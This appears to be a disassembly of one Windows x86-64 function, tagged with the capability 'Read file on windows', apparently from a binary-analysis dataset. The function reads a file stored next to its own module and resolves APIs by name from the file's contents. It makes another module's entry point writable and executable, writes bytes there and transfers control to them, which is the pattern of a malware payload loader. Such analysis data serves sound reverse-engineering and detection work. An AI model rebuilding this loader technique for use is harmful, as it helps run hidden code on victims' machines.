Function at 0x1803fb0d1
Capabilities:
Read file on windows

Disassembly:
push rbp
sub rsp, 0x250
lea rbp, [rsp + 0x40]
mov qword [rbp + 0x208], rsi
mov qword [rbp + 0x200], rbx
lea rax, [0x1803fc008]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rax, qword [rax + 0x4c]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rdx, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
call rdx
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov qword [rbp + 0x78], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x60]
mov eax, dword [rax + 0x40]
mov dword [rbp], eax
mov rax, qword [rbp + 0x80]
mov edx, 0
mov ecx, dword [rbp]
mov rbx, qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x1a0], rcx
mov rcx, rax
mov rax, qword [rbp + 0x1a0]
mov r8, rax
call rbx
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x60]
mov eax, dword [rax + 0x40]
mov dword [rbp + 4], eax
mov rax, qword [rbp + 0x90]
mov edx, dword [rbp + 4]
mov rcx, rax
call section..rodata
mov qword [rbp + 0x98], rax
mov eax, 0
mov rdx, qword [rbp + 0x90]
mov ecx, 0x104
mov rbx, qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rbp + 0x1a8], ecx
mov rcx, rax
mov eax, dword [rbp + 0x1a8]
mov r8d, eax
call rbx
mov dword [rbp + 8], eax
mov rax, qword [rbp + 0x60]
mov rax, qword [rax + 0x64]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp + 0xa8], rax
mov dword [rbp + 0xc], 0
mov eax, dword [rbp + 0xc]
imul rax, rax, 2
add rax, qword [rbp + 0x90]
movzx eax, word [rax]
movzx eax, ax
test eax, eax
je 0x1803fb215
mov eax, 1
add eax, dword [rbp + 0xc]
mov dword [rbp + 0xc], eax
jmp 0x1803fb1f0
mov eax, dword [rbp + 0xc]
mov dword [rbp + 0x10], eax
mov eax, 0xffffffff
add eax, dword [rbp + 0x10]
imul rax, rax, 2
add rax, qword [rbp + 0x90]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x5c
je 0x1803fb259
mov eax, dword [rbp + 0x10]
imul rax, rax, 2
add rax, qword [rbp + 0x90]
mov word [rax], 0
mov eax, 0xffffffff
add eax, dword [rbp + 0x10]
mov dword [rbp + 0x10], eax
jmp 0x1803fb21b
mov dword [rbp + 0x14], 0
mov eax, dword [rbp + 0x14]
add rax, qword [rbp + 0xa8]
movsx eax, byte [rax]
movsx rax, al
test eax, eax
je 0x1803fb2af
mov eax, dword [rbp + 0x14]
add rax, qword [rbp + 0xa8]
movsx eax, byte [rax]
movsx rax, al
mov edx, dword [rbp + 0x10]
imul rdx, rdx, 2
add rdx, qword [rbp + 0x90]
mov word [rdx], ax
mov eax, 1
add eax, dword [rbp + 0x10]
mov dword [rbp + 0x10], eax
mov eax, 1
add eax, dword [rbp + 0x14]
mov dword [rbp + 0x14], eax
jmp 0x1803fb260
mov rax, qword [rbp + 0x90]
mov edx, 1
mov ecx, 1
mov ebx, 0
mov dword [rsp + 0x20], 3
mov dword [rsp + 0x28], 0x80
mov qword [rsp + 0x30], 0
mov rsi, qword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [rbp + 0x1b0], ecx
mov rcx, rax
mov eax, dword [rbp + 0x1b0]
mov r8d, eax
mov r9, rbx
call rsi
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
cmp rax, 0xffffffffffffffff
jne 0x1803fb335
mov rbx, qword [rbp + 0x200]
mov rsi, qword [rbp + 0x208]
lea rsp, [rbp + 0x210]
pop rbp
ret
mov rax, qword [rbp + 0x60]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0x78]
mov rdx, qword [rbp + 0xc0]
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1b8], rcx
mov rcx, rax
mov rax, qword [rbp + 0x1b8]
call rax
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xb8]
mov ecx, 0
mov qword [rbp + 0x1c0], rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x1c0]
call rax
mov dword [rbp + 0x18], eax
mov eax, dword [rbp + 0x18]
mov dword [rbp + 0x1c], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0x60]
mov eax, dword [rax + 0x10]
mov dword [rbp + 0x20], eax
mov rax, qword [rbp + 0xd8]
mov edx, 0
mov ecx, dword [rbp + 0x20]
mov rbx, qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbp + 0x1c8], rcx
mov rcx, rax
mov rax, qword [rbp + 0x1c8]
mov r8, rax
call rbx
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x60]
mov eax, dword [rax + 0x10]
mov dword [rbp + 0x24], eax
mov rax, qword [rbp + 0xe8]
mov edx, dword [rbp + 0x24]
mov rcx, rax
call section..rodata
mov qword [rbp + 0xf0], rax
mov dword [rbp + 0x28], 0
mov rax, qword [rbp + 0xb8]
mov rdx, qword [rbp + 0xe8]
mov ecx, dword [rbp + 0x1c]
lea rbx, [rbp + 0x28]
mov qword [rsp + 0x20], 0
mov rsi, qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rbp + 0x1d0], ecx
mov rcx, rax
mov eax, dword [rbp + 0x1d0]
mov r8d, eax
mov r9, rbx
call rsi
mov dword [rbp + 0x2c], eax
mov eax, dword [rbp + 0x2c]
test eax, eax
jne 0x1803fb48f
mov rbx, qword [rbp + 0x200]
mov rsi, qword [rbp + 0x208]
lea rsp, [rbp + 0x210]
pop rbp
ret
mov eax, dword [rbp + 0x28]
add rax, qword [rbp + 0xe8]
mov qword [rbp + 0xf8], rax
mov rax, qword [rbp + 0x60]
mov eax, dword [rax + 0x14]
mov dword [rbp + 0x30], eax
mov eax, dword [rbp + 0x30]
add rax, qword [rbp + 0xe8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov dword [rbp + 0x34], eax
mov eax, 4
add rax, qword [rbp + 0x100]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax]
mov dword [rbp + 0x38], eax
mov eax, 4
add rax, qword [rbp + 0x100]
mov qword [rbp + 0x100], rax
mov dword [rbp + 0x3c], 0
mov eax, dword [rbp + 0x3c]
mov edx, dword [rbp + 0x34]
cmp eax, edx
jae 0x1803fb54d
mov rax, qword [rbp + 0x100]
mov edx, dword [rbp + 0x38]
add edx, dword [rax]
mov rax, qword [rbp + 0x100]
mov dword [rax], edx
mov eax, 1
add eax, dword [rbp + 0x3c]
mov dword [rbp + 0x3c], eax
mov eax, 4
add rax, qword [rbp + 0x100]
mov qword [rbp + 0x100], rax
jmp 0x1803fb50e
mov rax, qword [rbp + 0x60]
mov eax, dword [rax + 0x6c]
mov dword [rbp + 0x40], eax
mov eax, dword [rbp + 0x40]
add rax, qword [rbp + 0xe8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x78]
mov edx, 1
add rdx, qword [rbp + 0xe8]
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1d8], rcx
mov rcx, rax
mov rax, qword [rbp + 0x1d8]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x110]
test rax, rax
jne 0x1803fb5ca
mov rbx, qword [rbp + 0x200]
mov rsi, qword [rbp + 0x208]
lea rsp, [rbp + 0x210]
pop rbp
ret
mov rax, qword [rbp + 0xe8]
movsx eax, byte [rax]
movsx rax, al
add rax, qword [rbp + 0xe8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x78]
mov edx, 1
add rdx, qword [rbp + 0xe8]
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1e0], rcx
mov rcx, rax
mov rax, qword [rbp + 0x1e0]
call rax
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
test rax, rax
jne 0x1803fb648
mov rbx, qword [rbp + 0x200]
mov rsi, qword [rbp + 0x208]
lea rsp, [rbp + 0x210]
pop rbp
ret
mov rax, qword [rbp + 0xe8]
movsx eax, byte [rax]
movsx rax, al
add rax, qword [rbp + 0xe8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x110]
mov edx, 1
add rdx, qword [rbp + 0xe8]
mov rcx, rdx
call rax
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
test rax, rax
jne 0x1803fb6b4
mov rbx, qword [rbp + 0x200]
mov rsi, qword [rbp + 0x208]
lea rsp, [rbp + 0x210]
pop rbp
ret
mov rax, qword [rbp + 0xe8]
movsx eax, byte [rax]
movsx rax, al
add rax, qword [rbp + 0xe8]
mov qword [rbp + 0xe8], rax
mov eax, 0xc
add rax, qword [rbp + 0xe8]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0xe8]
mov qword [rbp + 0x140], rax
mov eax, 4
add rax, qword [rbp + 0x140]
mov eax, dword [rax]
mov dword [rbp + 0x44], eax
mov eax, 8
add rax, qword [rbp + 0x140]
mov eax, dword [rax]
mov dword [rbp + 0x48], eax
mov eax, dword [rbp + 0x48]
add rax, qword [rbp + 0x138]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x130]
mov eax, dword [rax + 0x3c]
movsxd rax, eax
add rax, qword [rbp + 0x130]
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x150]
mov eax, dword [rax + 0x2c]
add rax, qword [rbp + 0x130]
mov qword [rbp + 0x158], rax
mov dword [rbp + 0x4c], 0
mov rax, qword [rbp + 0x120]
mov rdx, qword [rbp + 0x158]
mov ecx, dword [rbp + 0x48]
mov ebx, 0x40
lea rsi, [rbp + 0x4c]
mov qword [rbp + 0x1e8], rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x1e8]
mov r8d, ebx
mov r9, rsi
call rax
mov dword [rbp + 0x50], eax
mov rax, qword [rbp + 0x158]
mov rdx, qword [rbp + 0x138]
mov ecx, dword [rbp + 0x48]
mov dword [rbp + 0x1f0], ecx
mov rcx, rax
mov eax, dword [rbp + 0x1f0]
mov r8d, eax
call fcn.1803fb068
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x120]
mov rdx, qword [rbp + 0x158]
mov ecx, dword [rbp + 0x48]
mov ebx, dword [rbp + 0x4c]
lea rsi, [rbp + 0x4c]
mov qword [rbp + 0x1f8], rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x1f8]
mov r8d, ebx
mov r9, rsi
call rax
mov dword [rbp + 0x54], eax
mov eax, dword [rbp + 0x44]
add rax, qword [rbp + 0x158]
mov qword [rbp + 0x168], rax
mov dword [rbp + 0x58], 0
mov rax, qword [rbp + 0x60]
mov rax, qword [rax + 0x54]
mov qword [rbp + 0x170], rax
mov eax, dword [rbp + 0x58]
movsxd rax, eax
add rax, qword [rbp + 0x170]
movsx eax, byte [rax]
movsx rax, al
test eax, eax
je 0x1803fb87a
mov rax, qword [rbp + 0x60]
mov rax, qword [rax + 0x54]
mov qword [rbp + 0x178], rax
mov eax, dword [rbp + 0x58]
movsxd rax, eax
add rax, qword [rbp + 0x178]
movsx eax, byte [rax]
movsx rax, al
mov edx, dword [rbp + 0x58]
movsxd rdx, edx
imul rdx, rdx, 2
add rdx, qword [rbp + 0xf8]
mov word [rdx], ax
mov eax, 1
add eax, dword [rbp + 0x58]
mov dword [rbp + 0x58], eax
jmp 0x1803fb80f
mov eax, dword [rbp + 0x58]
movsxd rax, eax
imul rax, rax, 2
add rax, qword [rbp + 0xf8]
mov word [rax], 0
mov rax, qword [rbp + 0xf8]
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x148]
mov qword [rbp + 0x180], rax
mov byte [rbp + 0x190], 1
mov rax, qword [rbp + 0x168]
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x198]
lea rdx, [rbp + 0x180]
mov rcx, rdx
call rax
mov rbx, qword [rbp + 0x200]
mov rsi, qword [rbp + 0x208]
lea rsp, [rbp + 0x210]
pop rbp
ret